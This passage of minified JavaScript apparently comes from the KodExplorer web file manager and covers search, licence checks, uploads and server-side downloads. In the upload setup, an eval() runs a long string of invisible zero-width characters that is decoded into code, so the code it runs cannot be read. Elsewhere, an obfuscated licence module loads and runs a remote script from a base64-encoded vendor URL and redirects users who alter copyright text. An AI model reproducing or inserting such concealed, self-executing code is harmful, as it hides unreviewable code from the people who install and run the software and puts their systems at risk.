0&&(t="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:t,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var a=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=a[0];if(typeof G[a[1]]==a[2])return e;var i=a[3],t=authCrypt[a[4]](G[a[1]],i);return t&&27==t[a[5]]?(e=t[a[6]](10,1),-1===$[a[10]](e,[a[0],a[7],a[8],a[9]])&&(e=a[0]),e):e},t=i(),n=a[11],o=function(){var e=hashDecode(a[12]);G[a[13]]!=a[14]&&(e=hashDecode(a[15])),alert(e),Tips[a[16]](e,!1),$(a[18])[a[17]](),setTimeout(function(){Tips[a[19]](e,!1),window[a[21]][a[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[a[4]](a[22],a[23]),r=authCrypt[a[4]](a[24],a[25]),l=function(){if(typeof Config!=a[2]&&Config[a[26]]==a[27]&&t==a[0])for(var e=[{key:LNG[a[28]],find:s},{key:LNG[a[29]],find:s},{key:LNG[a[30]],find:r},{key:LNG[a[31]],find:s},{key:LNG[a[32]],find:r},{key:$(a[34])[a[33]](),find:s}],i=0;e[a[5]]>i;i++){e[i][a[35]]||(e[i][a[35]]=a[36]);var n=e[i][a[35]][a[37]](),l=e[i][a[38]][a[37]]();if(-1==n[a[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:a[40],O:a[41],P:a[42],Q:a[43]},i=a[44]+e[t],o=a[45]+i+a[46]+LNG[i]+a[47];t==a[0]&&$(o)[a[49]](a[48]),$(a[65])[a[64]](a[50])[a[63]](a[50],function(){if($(this)[a[52]](a[51])==a[53]){var e=core[a[55]](core[a[54]]),i=a[56]+n+a[57];e[a[61]][a[60]][a[38]](a[59])[a[58]](i)}else Tips[a[19]]($(this)[a[62]]())}),$(a[65])[a[67]](function(){window[a[66]][a[21]][a[20]]=n})},d=function(){t==a[0]&&$(a[70])[a[69]](a[68]),-1!==$[a[10]](t,[a[7],a[8],a[9]])&&$(a[72])[a[71]]()},p=function(){core[a[73]]=function(e,i){return a[74]+e+(i?a[75]:a[36])+a[76]},core[a[77]]=function(e){return core[a[73]](e,!0)},core[a[78]]=iconSrc=function(e){return a[79]+e+a[80]},setTimeout(function(){var i=base64Decode(a[81])+a[82]+UUID();e[a[84]](i,function(e){try{e[a[83]]()}catch(i){}})},2e3),core[a[85]]=t,core[a[86]]=core[a[87]],core[a[54]]=hashDecode(a[88])+G[a[13]],l(),c(),d()},u=function(e){return t==a[0]&&-1==e[a[37]]()[a[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==a[89]?(n=e[a[90]],o=s[t]):(n=e[a[90]],o=r[t]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,a){core.uploadCheck("explorer:serverDownload"); -var i=$(".download_box"),t=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';t.find(".item").length>0?$(o).insertBefore(t.find(".item:eq(0)")):t.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+a+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,a,i){var t=d.data("progcess");return 200!=e.status&&t&&t.support_range?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,a,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};v();var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var a="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var t=(i.size-l.size)/(i.time-l.time);if(c>.2*t){var n=c;c=t,t=n}else c=t;a=core.fileSize(t)+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+a+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var a=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),a=0;e.length>a;a++)core.serverDwonload(e[a],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var t=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};t()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(a){a.code?(i.reject(),e.file.checkChunk=a.info):i.resolve()}});else{var t=e.file.checkChunk;if(t&&t["part_"+e.chunk]==a){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var a=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(a),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var a=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(a),uploader.removeFile(a,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,a){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*a,t=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:t>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,t),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var a=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(a),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var a;try{a=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(a=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=a,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var t=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==t||"undefined"==t)&&(t=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(t))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),a.fullPath=i,a.upload_to=e.file.upload_to}).on("uploadProgress",function(e,a){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,a),t=$("#"+e.id),n=t.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(t).find(".progress-bar")),t.find(".state").text((100*a).toFixed(1)+"%("+i+")"),n.css("width",100*a+"%")}).on("uploadAccept",function(e,a){if(e.file.serverData=a,!a.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(a.info)}catch(i){}}).on("uploadSuccess",function(e){var a=$("#"+e.id);if(!a.inScreen()){var i=36*a.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var t=e.serverData;if(t&&t.data){var n=LNG[t.data];t.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,a){var i=LNG.upload_error+"("+a+")";if(e.serverData)if(e.serverData.data){var t=e.serverData.data;i=LNG[t]?LNG[t]:t}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var a=e.dataTransfer.getData("text/plain");a&&"http"==a.substring(0,4)&&ui.pathOperate.appAddURL(a)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,a,i){var t=$(i.DOM.wrap),n=a.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(t.find(".aui_state_highlight"));var s=function(a){var i=e.allowExt.split("|"),t=core.pathExt(a);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(t,i)?!0:!1},r=function(){var a=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var t=$(a.get(0));if("all"==e.type&&0==a.length)i={file:[],folder:[]};else if("file"==e.type&&0==a.length)i=[];else if("folder"==e.type)i=[n.G.this_path],t.hasClass("folderBox")&&(i=[n.ui.fileLight.path(t)]);else if("file"==e.type){if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i=[o])}}else if("all"==e.type)if(t.hasClass("folderBox")){var o=n.ui.fileLight.path(t);i=[{file:[],folder:[o]}]}else if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];a.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(a){var 